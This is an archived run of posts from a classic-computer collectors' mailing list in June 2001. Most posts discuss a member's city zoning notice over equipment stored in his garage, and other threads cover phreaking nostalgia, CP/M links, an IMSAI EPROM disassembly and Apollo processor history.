<003d01c0f029$5d8cae40$8a0101ac@ibm23xhr06> References: <"ajp166" <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: <5.0.2.1.0.20010608111156.00aa1c50@mail.njd.concentric.com> 500 cubic feet is pretty small -- 8.5 ft x 8.5 ft with a 7 foot ceiling is 505 cubic feet. I would definitely focus on the fact that this is a hobby. Seems to me it would be pretty easy to support the contention that you're not running a business. Good luck! -- Tony At 10:43 AM 6/8/2001 -0400, you wrote: >Mike Ford said: > > I love the arrogance of these people too, > > giving me 14 days to comply. > >It could be worse, you could've recieved the notice postmarked >7 days after the date of notice, cutting your time in half. I just had >to deal with some people like that (on different topic).... I never >heard of such a thing, about personal storage, until now. At least >the 500 cu-ft figure sounds liveable (it is hoped). Keep us posted. > >John A. From fernande at internet1.net Fri Jun 8 10:25:20 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area References: <003001c0f02a$c112c7a0$9cc762d8@idcomm.com> Message-ID: <3B20EE60.F757C207@internet1.net> I' surprised 1'x2' paving blocks under the wheels were allowed. I would have thought that the whole area would have had to be done, under the boat. I'm not gonna argue, However :-) Reminds me, that I need to work on getting rid of a car in my folks yard :-) Chad Fernandez Michigan, USA Richard Erlacher wrote: > > I'd suspect that this is due to observability of "big iron" from some vantage > point off the property. We've had annoying visits from city folks from time to > time, apparently resulting from what one neighbor or another can see from his > porch. My neighbor had a problem with his boat, which he parked in his front > yard where it's shaded from the sun, and which I certainly like with parking it > on the street. Someone didn't like that, however, and complained to the > authrorities. The result was that a notice was sent by the city, citing a > confusingly worded statute of which they included a relevant portion. It turns > out, however, that, though, on first reading, the statute suggests that it's > illegal to have anything at all anywhere on your property, what compliance with > the statute really requres is a substantial concrete or other "firmament" on > which to park the wheels of the trailer, which was easily solved by putting > three 1' x 2' paving blocks under the wheels. > > I'd guess that there's a simple solution of that sort, if you allow cooler heads > (your own, after it cools off) to prevail. > > Dick From healyzh at aracnet.com Fri Jun 8 10:34:22 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <003d01c0f029$5d8cae40$8a0101ac@ibm23xhr06> References: "ajp166" "Re: PDP-11/53+Jumpers" (Jun 7, 22:58) <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: >heard of such a thing, about personal storage, until now. At least >the 500 cu-ft figure sounds liveable (it is hoped). Keep us posted. > >John A. 500 cu-ft = 10'x10'x5' One slight problem Mike can probably fill most of 500 cu-ft with one or two systems. I know I'm well over 500 cu-ft, probably closer to 1000+. Most of my collection is in a couple storage units which isn't cheap. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From LFessen106 at aol.com Fri Jun 8 10:38:03 2001 From: LFessen106 at aol.com (LFessen106@aol.com) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area Message-ID: <9d.169b89ab.28524b5b@aol.com> In a message dated 6/8/01 10:35:37 AM Eastern Daylight Time, jss@ou.edu writes: > > (3) They may just assume you are running a business, and your only > violation would be having a business in a residential zone. That > should be easy to disprove. > AFAIAC According to general US law *they* would have to *prove* that you *are* running a business. You do't have to prove you are not. By the way, as mentioned before I would have them both prosecuted for tresspassing and invasion of privacy. -Linc Fessenden In The Beginning there was nothing, which exploded - Yeah right... Calculating in binary code is as easy as 01,10,11. From foo at siconic.com Fri Jun 8 09:39:50 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:17 2005 Subject: OT stories about phone phreaking In-Reply-To: <000601c0efee$ddeb1580$4a399dac@coxnc.rr.com> Message-ID: On Fri, 8 Jun 2001, Gabe Steiger wrote: > Is it still possible to phreak a phone by unscrewing the talk speaker? > I tried unscrewing the mouth peice once, could not unscrew it. Bastard > would NOT budge. You've figured out why it is no longer possible to phreak. The phone companies passed a law that required phone manufacturers to screw the mouthpiece on so tight that nobody could unscrew it. Therefore, phreaking is no longer possible ;( Here's a great site call Phone Trips: http://www.wideweb.com/phonetrips/index2.html Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From lance at costanzo.net Fri Jun 8 10:47:59 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:17 2005 Subject: Will trade classic H/W for CP/M 2.2 help! Message-ID: <3.0.32.20010608084759.0207595c@costanzo.net> Speaking of CP/M and DRI, here's some web sites that may be of interest: http://www2.gol.com/users/joewein/dri.html http://members.iinet.net.au/~daveb/cpm/index.html http://www.faqs.org/faqs/CPM-faq/ http://www.retroarchive.org/cpm/ http://members.aol.com/wwheco1/commscpm.htm http://www.maxframe.com/GARY&CPM.HTM http://www.daml.org/people/jflynn/algolm.html At 08:28 AM 6/8/01 -0600, you wrote: >You can buy a "new" licensed copy of CP/M (the original DR version) from >California Digital for only $9 at http://www.cadigital.com/software.htm. It >won't be set up for your particular computer, though, but does have the DR >manuals. only $9 and you get a manual? dang! From xds_sigma7 at hotmail.com Fri Jun 8 10:55:57 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area Message-ID: Good God, I'm glad I live in the middle of nowhere... My garage contains enough stuff that there is only a 2 foot wide path to use as a walkway, and there is a big stack of lead acid batteries next to the garage (to be recycled sometime). Until we got new siding, I had a big mound o' aluminum there.. There's the frame of a System/36 in the backyard (temporarily), and a semi trailer by the barn. You're lucky if your planning officials are nice, the county commissioners where I live are corrupt and have shit for brains. Like their brilliant law that if you operated a boarding stable, you had to have this stupid "use by special review" which you couldn't get if even one neighbor wouldn't agree to it, so naturally we had one dipshit neighbor who objected... So without it, the "wise" commissioners said you could only board one horse per 20 acres... and we had 40 acres with an 18 stall barn... Needless to say, we boarded 18 horses there... *urinates upon Douglas County* Will J (end rant) _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From rhblake at bigfoot.com Fri Jun 8 10:56:15 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: I don't even have big iron and I have a full 10x30x7 (high) office trailer full of equipment from old 5150's to the last of the Dell 486 era and most of the PS/2 line - and I do run a business but they are my personal items, not biz related. I guess I'm around 2100 cu-ft?? If anything someone should gripe about the washing machine in plain view I set out next to my garage last weekend. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Zane H. Healy > Sent: Friday, June 08, 2001 10:34 AM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > >heard of such a thing, about personal storage, until now. At least > >the 500 cu-ft figure sounds liveable (it is hoped). Keep us posted. > > > >John A. > > 500 cu-ft = 10'x10'x5' > > One slight problem Mike can probably fill most of 500 cu-ft with > one or two > systems. I know I'm well over 500 cu-ft, probably closer to 1000+. Most > of my collection is in a couple storage units which isn't cheap. > > Zane > -- > | Zane H. Healy | UNIX Systems Administrator | > | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.aracnet.com/~healyzh/ | From bkr at WildHareComputers.com Fri Jun 8 11:04:39 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area References: <3.0.32.20010608080526.02075c78@costanzo.net> Message-ID: <00ce01c0f034$e8f32b70$0100a8c0@dellhare> Hmmm. According to my ol' boolean and legal logic, it seems that the "H." section consists of a bunch of "and" conditions which must be met, so this does not apply to you. But adherence to the written law does not seem to be socially fashionable lately, especially by judges and lawyers. Bruce ----- Original Message ----- From: "Lance Costanzo" To: Sent: Friday, June 08, 2001 9:05 AM Subject: Re: Storage of computer and parts in the residential area > At 07:14 AM 6/8/01 -0700, you wrote: > >Mike, > > > >I'd be interested to see what Orange Municipal Code 17.14.050(H) says. > > H. Home Occupations. A home occupation is one carried on in a dwelling as a > secondary use, where there are no displays or signs at or upon the > premises, no other commodity or services are sold upon the premises and no > storage of materials and/or supplies upon those premises except within the > dwelling or an enclosed garage. Where storage will take place within an > enclosed garage, such storage shall be conducted in such a manner so as not > to interfere with the parking of vehicles therein. Any materials and/or > supplies which are stored upon the premises shall not occupy a space in > excess of 500 cubic feet. Such an occupation shall not: > > 1. Create light, noise, odor, dust, vibration, fumes or smoke readily > discernible at the exterior boundaries of the parcel. > > 2. Involve the use of mechanical equipment or storage of material and/or > supplies on trucks in amounts not recognized as part of reasonable > household use. > > 3. Involve the use of services at the premises of non-occupants of the > dwelling in any manner; provided, however, that deliveries made by bona > fide delivery firms shall be permitted, as long as such deliveries are in > amounts or performed in a manner recognized as part of a reasonable > household use. > > 4. Have the premises or adjacent public right-of-way serve as an assembly > point for non-occupants, including serving as a location from which such > non-occupants are dispatched to off-site locations. > > 5. Significantly increase the off-street parking load. > > 6. Involve the storage or use of flammable substances as defined by the > Uniform Fire Code, Section 15.101 et. seq., or hazardous chemicals as > defined by the Uniform Fire Code, Section 19.101, et. seq. > > 7. Involve the sale of firearms or ammunition except to those set forth in > California Penal Code Section 12078. Records shall be kept for a minimum of > one year on the sales of firearms. Information on these records shall include: > > a. Date of purchase. > > b. Name, address, phone number, driver's license number and date of birth > of the person buying any firearms. > > c. Brand name, model number and serial number of firearm purchased. > > 8. Involve the sale, preparation, or storage of food or food products. > (Ords. 12-95; 3-93; 4-87; 17-84; 15-80; 12-80; 35-79; 43-69; 15-69: Prior > Codes 17.10.030, 17.26.010 and 17.04.290) > > look it up: > http://www.ordlink.com/codes/orange/index.htm > > > >Somehow, I suspect that they're wanting you to admit you are carrying on a > >business so that they can then tell you what you can and cannot do. > and they're looking for revenue. > > I would make sure all your goodies are clean and reasonably organized, > put as much stuff as possible into one 'work area', take some pics, > go down to city hall with the letter and ask to speak to a city > planner. When I applied for a home business permit, I talked to > a planner so I'd guess that Orange would have a similar structure. > Explain to them its a hobby and not a business, its not a nusaince > activity (except for the trespassing that's occured by your neighbor), > and ask them what you should do. > >From my experience, building and planning guys are pretty reasonable. > > >My first reaction is that you don't want to go that route, but rather that > >you want to call it your hobby and exercise your freedom to spend your > >leisure as you wish. > >Do they persecute ham radio operators, satellite dish owners, book lovers, > >and plant aficionados too? > > > >I have a friend who lives in Irvine. She's not even allowed to park her > >car on the street or in front of her garage. It has to be > >enclosed. However, she chose that lifestyle, but it seems excessively neat > >and tidy to me. > > > >I've got loads of stuff in the City of LA adjacent to Culver City. No one > >has bothered me yet, except my ex-, but that was years ago. > > > >Good luck, and keep us informed. > > > >Best, > >Nick > > > > > > From spectre at stockholm.ptloma.edu Fri Jun 8 11:07:04 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <9d.169b89ab.28524b5b@aol.com> from "LFessen106@aol.com" at "Jun 8, 1 11:38:03 am" Message-ID: <200106081607.JAA10520@stockholm.ptloma.edu> > AFAIAC According to general US law *they* would have to *prove* that you > *are* running a business. You do't have to prove you are not. By the way, as > mentioned before I would have them both prosecuted for tresspassing and > invasion of privacy. Excellent idea. I wonder what business the nosy neighbour had, peeking in your windows. Next they'll get after my dad for running a camping store since he has sleeping bags and camping equipment taking up more than 500 sqft in his garage which is visible through the window. (The Rottweilers next door, who would announce anyone trying to look through the side passage windows, are merely a courtesy detail.) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- if (you.canRead(this)) you.canGet(new job(!problem)); -- Seen at JavaOne --- From jim at calico.litterbox.com Fri Jun 8 11:24:48 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:18 2005 Subject: OT stories about phone phreaking In-Reply-To: from "Sellam Ismail" at Jun 08, 2001 07:39:50 AM Message-ID: <200106081624.KAA30274@calico.litterbox.com> I would have thought the advent and wide deployment of digital switches was what made it impossible. If not that, then surely the modern switches have anti-phreaking software built in. The irony is that the era of the public phone is coming to an end, as they've been almost completely supplanted by cell phones, except perhaps in airports and the like. It's hard to imagine now how much of a convenience pay phones must have originally been. The idea of calling anywhere in the world from any down town street corner must have seemed as amazing as wireless phones seem to new adopters (like me) now. My wife and I were recently at a wedding in Las Vegas trying to meet up with the other guests from the same wedding. It finally became obvious that some of the guests were not looking in the right place for the rest of us due to a breakdown in communication. No problem, everyone involved has a wireless phone. A quick phonecall amounting to "where are you? We're right below you, head down the stairs to your right" put the matter to rights. Mindboggling. I begin to see how people burn through serious airtime in a month now. Seductive technology. I wonder how we managed without it. > > On Fri, 8 Jun 2001, Gabe Steiger wrote: > > > Is it still possible to phreak a phone by unscrewing the talk speaker? > > I tried unscrewing the mouth peice once, could not unscrew it. Bastard > > would NOT budge. > > You've figured out why it is no longer possible to phreak. The phone > companies passed a law that required phone manufacturers to screw the > mouthpiece on so tight that nobody could unscrew it. Therefore, phreaking > is no longer possible ;( > > Here's a great site call Phone Trips: > > http://www.wideweb.com/phonetrips/index2.html > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From allain at panix.com Fri Jun 8 11:26:09 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area References: "ajp166" "Re: PDP-11/53+Jumpers" (Jun 7, 22:58) <00d501c0efc7$02f4ec70$37799a8d@ajp166> <003d01c0f029$5d8cae40$8a0101ac@ibm23xhr06> Message-ID: <00d101c0f037$d8e92740$8a0101ac@ibm23xhr06> P.S. rememeber it's California. I would guess there's other ordinances as to storage of weights at heights. I am speaking of Earthquakes. There was a guy near me that got buried in his own home library once... I wouldn't dream of pushing storage to 6 or even 8 feet high out there. I dropped a Cipher880MTU from 6' once. It did a China syndrome through the table below it down to the concrete. This computer stuff is pretty dangerous. (At least in Earth's gravity ) John A. CA 1985->89 From jim at calico.litterbox.com Fri Jun 8 11:36:14 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:18 2005 Subject: storing gear and businesses and so on Message-ID: <200106081636.KAA30338@calico.litterbox.com> It does bring up a related question. If memory serves, electronic equipment for home use has to have an FCC class C rating, whereas equipment for business only needs to have a class B rating, since nobody is expecting to run TVs, radios, etc nearby (at least in theory). So my question is, if my vaxstation is only class b rated, can I get in trouble having it in my home? (not sure the vaxstation isn't class c rated, it's just an example here.) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jweder at telusplanet.com Fri Jun 8 11:45:45 2001 From: jweder at telusplanet.com (Joel Weder) Date: Sun Feb 27 19:04:18 2005 Subject: IMSAI EPROMS Message-ID: Hi all... I've been trying to get some action from this IMSAI for awhile now. Main problem is I don't know what is on the EPROMs on the EconoROM board. It looks like banks A & B, OR banks C & D, can be enabled together starting at address 0000h. There are 6 2708's in A0 through B1, and 8 2708's in C0 through C3. I've been looking for an EPROM burner that can read/write 2708's with no luck so far. We have TWO machines at work, and neither will do it. Anyone know of a burner that WILL? I manually read the first 256 bytes of the first chip, and disassembled it, also manually - I'm looking for a good disassembler program too! I've got one called DASM V1.2 by John Wilson, but have been having some trouble with it. If you've got a few minutes, have a look at what I've included below - the first 128 bytes of code. Let me know if any of it looks familiar. (Or if I messed up the job!) The comments are for my own benefit - I'm pretty rusty with assembler. Addr. Hex Value Mnemonic Comments 0000 AF XRA A ;Exclusive Or A with A (clears A) 0001 C3 3B 00 JMP 003B ;Jump to 003Bh 0008 C3 EE EF JMP FFEE ;Jump to FFEEh 0010 C3 F1 FF JMP FFF1 ;Jump to FFF1h 0018 C3 F4 FF JMP FFF4 ;Jump to FFF4h 0020 C3 F7 FF JMP FFF7 ;Jump to FFF7h 0028 C3 FA FF JMP FFFA ;Jump to FFFAh 0030 C3 FD FF JMP FFFD ;Jump to FFFDh 0038 C3 D3 09 JMP 09D3 ;Jump to 09D3h 003B D3 F0 OUT F0 ;Send contents of A register to port F0h 003D C3 11 D2 JMP D211 ;Jump to D211h 0040 3B DCX SP ;Decrement stack pointer 0041 00 NOP ;Do nothing 0042 C3 5C 00 JMP 005C ;Jump to 005Ch 0045 21 00 F0 LXI H,00 F0 ;Load register pair H & L with F000h 0048 0E 4E MVI C,4E ;Move 4E to register C 004A AF XRA A ;Clear register A 004B 77 MOV M,A ;Move register A to loc'n given in H & L 004C 23 INX H ;Increment H & L registers 004D 0D DCR D ;Decrement register C 004E C2 4B 00 JNZ 004B ;Jump on no zero to address 004Bh 0051 06 18 MVI B,18 ;Move 18h into register B 0053 21 2A F1 LXI H,F12A ;Load H & L registers with F12Ah 0056 77 MOV M,A ;Move register A to loc'n given in H & L 0057 23 INX H ;Increment H & L registers 0058 05 DCR B ;Decrement register B 0059 C2 53 00 JNZ 0053 ;Jump on no zero to address 0053h 005C 31 9E F0 LXI SP,F09E ;Load stack pointer with F09Eh 005F CD 42 01 CALL 0142 ;Transfer program control to addr 0142h 0062 06 2A MVI B,2A ;Move 2Ah into register B 0064 CD 51 01 CALL 0151 ;Transfer program control to addr 0151h 0067 CD 7A 00 CALL 007A :Transfer program control to addr 007Ah 006A 23 INX H ;Increment H & L registers 006B 7E MOV A,M ;Move value from loc'n in H & L to reg A 006C FE 3A CPI 3A ;Compare A with 3Ah (A - 3Ah) 006E DA 7A 05 JC 057A ;Jump on carry to 057Ah 0071 CD DE 01 CALL 01DE ;Transfer program control to addr 01DEh 0074 CD 94 01 CALL 0194 ;Transfer program control to addr 0194h 0077 C3 5C 00 JMP 005C ;Jump to address 005Ch 007A 21 BC F0 LXI H,F0BC ;Load H & L registers with F0BCh 007D 22 50 F0 SHLD F050 ;Store H & L registers at F050h Joel A. Weder jweder@telusplanet.net 403-556-4020 From jss at ou.edu Fri Jun 8 11:48:12 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <3.0.32.20010608080526.02075c78@costanzo.net> References: <3.0.32.20010608080526.02075c78@costanzo.net> Message-ID: <992018892.3b2101cc495f6@email.ou.edu> Quoting Lance Costanzo : > At 07:14 AM 6/8/01 -0700, you wrote: > > > >I'd be interested to see what Orange Municipal Code 17.14.050(H) says. > > H. Home Occupations. Well, since you're not running a business, it looks like this statute does not apply to you. -- Jeffrey S. Sharp jss@ou.edu From vance at ikickass.org Fri Jun 8 11:57:35 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <00d101c0f037$d8e92740$8a0101ac@ibm23xhr06> Message-ID: Yeah. I once saw an S/370 drop from about 10 feet. Destroyed a blacktop parking lot. Peace... Sridhar On Fri, 8 Jun 2001, John Allain wrote: > P.S. rememeber it's California. > I would guess there's other ordinances as to storage of weights > at heights. I am speaking of Earthquakes. There was a guy near > me that got buried in his own home library once... > I wouldn't dream of pushing storage to 6 or even 8 feet high out > there. I dropped a Cipher880MTU from 6' once. It did a China > syndrome through the table below it down to the concrete. > This computer stuff is pretty dangerous. > (At least in Earth's gravity ) > > John A. > CA 1985->89 > From cisin at xenosoft.com Fri Jun 8 12:03:52 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <3.0.32.20010608080526.02075c78@costanzo.net> Message-ID: On Fri, 8 Jun 2001, Lance Costanzo wrote: > >I'd be interested to see what Orange Municipal Code 17.14.050(H) says. > to interfere with the parking of vehicles therein. Any materials and/or > supplies which are stored upon the premises shall not occupy a space in > excess of 500 cubic feet. Such an occupation shall not: > 2. Involve the use of mechanical equipment or storage of material and/or > supplies on trucks in amounts not recognized as part of reasonable > household use. Howzbout just explain to them that the aggregate total is merely enough to meet the minimum system requirements of WindozeXP? When computers are outlawed, only outlaws will compute. From mmcfadden at cmh.edu Fri Jun 8 12:11:05 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:18 2005 Subject: Subject: Re: Storage of computer and parts in the residential are a Message-ID: What we really need is a lending library and a central repository for classic computer equipment. The obvious solution is to go underground. The law doesn't say anything about below a residential area. I think a warehouse like the one at the end of "Raiders of the Lost Ark" is just the answer. How about underground limestone quarry space? How about decommissioned missile silo? Maybe it's a fantasy, but exploring an endless building full of old computer equipment could be my retirement goal. Probably better than sex. Maybe it's senility. Mike mmcfadden@cmh.edu From foo at siconic.com Fri Jun 8 11:13:31 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <200106081425.IAA29748@calico.litterbox.com> Message-ID: On Fri, 8 Jun 2001, Jim Strickland wrote: > Couldn't you sue them for looking in your windows and trespassing on > your property without a warrent? Mike could make this really hard on them and do these sorts of things, but if the inspector happens to be really zealous about their work, they could make life equally as miserable for Mike. The best way to win with a beauracrat is to beat them at their own game. In reading the ordinance specified at: http://bpc.iserver.net/codes/orange/_DATA/TITLE17/Chapter_17_14__RESIDENTIAL_DISTRIC/17_14_050_Special_Use_Regulati.html (I love the web :) ...it would seem the burden is on the city to prove that Mike is running a business. All Mike has to do is draft a response letter stating that his collection of computers is a hobby, not a business, and he only sells stuff on a once per year basis as it allowed under city ordinances (garage sale). It's a no-brainer. The onus is on the city to prove Mike is running a business. If they goo all the way and decide to take him to court, it'll be a big pain in the ass, but he'll win. I'm not a lawyer, but I play one on the web (and I've had enough exposure to law and legal proceedings through what seems to be my never-ending quest to prove I wasn't actually speeding ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From healyzh at aracnet.com Fri Jun 8 12:17:57 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:18 2005 Subject: storing gear and businesses and so on In-Reply-To: <200106081636.KAA30338@calico.litterbox.com> Message-ID: >It does bring up a related question. If memory serves, electronic >equipment for home use has to have an FCC class C rating, whereas >equipment for business only needs to have a class B rating, since >nobody is expecting to run TVs, radios, etc nearby (at least in >theory). So my question is, if my vaxstation is only class b >rated, can I get in trouble having it in my home? (not sure >the vaxstation isn't class c rated, it's just an example here.) >-- >Jim Strickland The answer is probably. Of course I've got a 1990 Twinhead Laptop which generates more interference than something like my PDP-11/44, PDP-11/73, or PDP-8/m. Actually that laptop is the onlything I can think of that I've got that does generate troublesome interference. It can be in another room and mess up a TV in the next room. IIRC, if it's in the same room as the TV, the TV is unwatchable. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From foo at siconic.com Fri Jun 8 11:20:00 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <200106081607.JAA10520@stockholm.ptloma.edu> Message-ID: On Fri, 8 Jun 2001, Cameron Kaiser wrote: > > AFAIAC According to general US law *they* would have to *prove* that you > > *are* running a business. You do't have to prove you are not. By the way, as > > mentioned before I would have them both prosecuted for tresspassing and > > invasion of privacy. > > Excellent idea. I wonder what business the nosy neighbour had, peeking in > your windows. I've been to Mike's place. It's in one of those neighborhoods where you can reach out your window and slap your neighbor :) I don't think whoever snitched really had to "trespass" to see what Mike had inside his garage. Plus Mike has his yearly garage sales, and opens up his garage door a lot, which gives everyone a chance to see just how packed with old computers it is (and it's packed!) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From wonko at tmok.com Fri Jun 8 12:32:32 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:18 2005 Subject: storing gear and businesses and so on In-Reply-To: <200106081636.KAA30338@calico.litterbox.com>; from Jim Strickland on Fri, Jun 08, 2001 at 10:36:14AM -0600 References: <200106081636.KAA30338@calico.litterbox.com> Message-ID: <20010608133232.B44021@tmok.com> On Fri, Jun 08, 2001 at 10:36:14AM -0600, Jim Strickland wrote: > It does bring up a related question. If memory serves, electronic > equipment for home use has to have an FCC class C rating, whereas > equipment for business only needs to have a class B rating, since > nobody is expecting to run TVs, radios, etc nearby (at least in > theory). So my question is, if my vaxstation is only class b > rated, can I get in trouble having it in my home? (not sure > the vaxstation isn't class c rated, it's just an example here.) it's a not c from what i understand, you may run said equipment, but if it causes interference in someone's class b equipment you must stop using the class a stuff _OR_ face up to, what is it, i think $50,000 fine. but afaik, you are allowed to run it as long as no-one complains. -brian From foo at siconic.com Fri Jun 8 11:25:00 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:18 2005 Subject: OT stories about phone phreaking In-Reply-To: <200106081624.KAA30274@calico.litterbox.com> Message-ID: On Fri, 8 Jun 2001, Jim Strickland wrote: > I would have thought the advent and wide deployment of digital switches > was what made it impossible. If not that, then surely the modern > switches have anti-phreaking software built in. One would be led to think that, but it is, in fact, the inability of mere mortals to unscrew the mouthpiece. Get into the mouthpiece and the phone networks are yours! > The irony is that the era of the public phone is coming to an end, as > they've been almost completely supplanted by cell phones, except > perhaps in airports and the like. PacBell apparently has relatively few payphones remaining in their network. I'm surprised we still have payphones. It'll be a shame when they're all removed though. I have a cell phone, but until the phone companies complete the seemless cell network nationwide, you never know when you'll need a payphone. > the matter to rights. Mindboggling. I begin to see how people > burn through serious airtime in a month now. Seductive technology. > I wonder how we managed without it. Of course, cell phone rates have not followed the normal logic. They remain high today despite the fact that they are used as much as land lines. We need a good price war to normalize the rates. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From red at bears.org Fri Jun 8 12:26:48 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:18 2005 Subject: Motorola 88000 In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371510DA@jeffserver.tegjeff.com> Message-ID: On Fri, 8 Jun 2001, Douglas Quebbeman wrote: > > The DN10000 accepted one to four Apollo PRISM CPUs. They were > > not Motorola 88000-series CPUs. > > If it wasn't the DN10000, which model was it? I just got done > downloading many megabytes worth of patches for 68k-based > systems *and* for 88k-based systems from HP's web site. The '88k' patches are for the DN10000, but because PRISM was known internally as "A88k". It is not the same as m88k. I've been doing some more research and have read an unsubstantiated rumour that Apollo started out working on Intel with this, but parted ways before the project came to fruition. Apollo continued its work, resulting in the PRISM, while Intel contined theirs, resulting in the i860. Here's a quote from an old USENET article, which appears to be written from the perspective of someone who was there: --- Apollo came up with the name "PRISM" only to discover that someone else had it trademarked. There was a scramble for a new name. Someone latched onto "Advanced Technology" AT, and the Motorola 88000 was coming at the time. Barry Flahive or Jim Rees could probably tell you about the A88k designation, as I don't recall why we did that. --- Here's another quote which seems to concretely confirm this: --- The DN10000 was not a clone of anything. The A88k designation was a coincidence, recognized as unfortunate at some point, and thereafter deemphasized. I happened to be talking to Russ Barbour today, and he confirmed it. --- ok r. From dhquebbeman at theestopinalgroup.com Fri Jun 8 12:27:25 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:18 2005 Subject: OT stories about phone phreaking Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510DE@jeffserver.tegjeff.com> > On Fri, 8 Jun 2001, Gabe Steiger wrote: > > > Is it still possible to phreak a phone by unscrewing the talk speaker? > > I tried unscrewing the mouth peice once, could not unscrew it. Bastard > > would NOT budge. > > You've figured out why it is no longer possible to phreak. The phone > companies passed a law that required phone manufacturers to screw the > mouthpiece on so tight that nobody could unscrew it. Therefore, phreaking > is no longer possible ;( Not to mention the fact that eulB sexoB stopped working with the switchover from Switching System 6 (which used in-band signalling) to SS7, which uses out-of-band signalling (i.e. a separate network). Regards, -dq From jeff.kaneko at juno.com Fri Jun 8 12:23:22 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area Message-ID: <20010608.122759.-493465.0.jeff.kaneko@juno.com> On Fri, 8 Jun 2001 12:26:09 -0400 "John Allain" writes: > there. I dropped a Cipher880MTU from 6' once. It did a China > syndrome through the table below it down to the concrete. > This computer stuff is pretty dangerous. > (At least in Earth's gravity ) Or in California where the damned ground won't hold still . . .:^) ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From brian.roth at firstniagarabank.com Fri Jun 8 12:29:52 2001 From: brian.roth at firstniagarabank.com (brian roth) Date: Sun Feb 27 19:04:18 2005 Subject: Fwd: Re: Storage of computer and parts in the residential area Message-ID: Brian Roth Network Services First Niagara Bank (716) 625-7500 X2186 Brian.Roth@FirstNiagaraBank.com -------------- next part -------------- An embedded message was scrubbed... From: "brian roth" Subject: Re: Storage of computer and parts in the residential area Date: 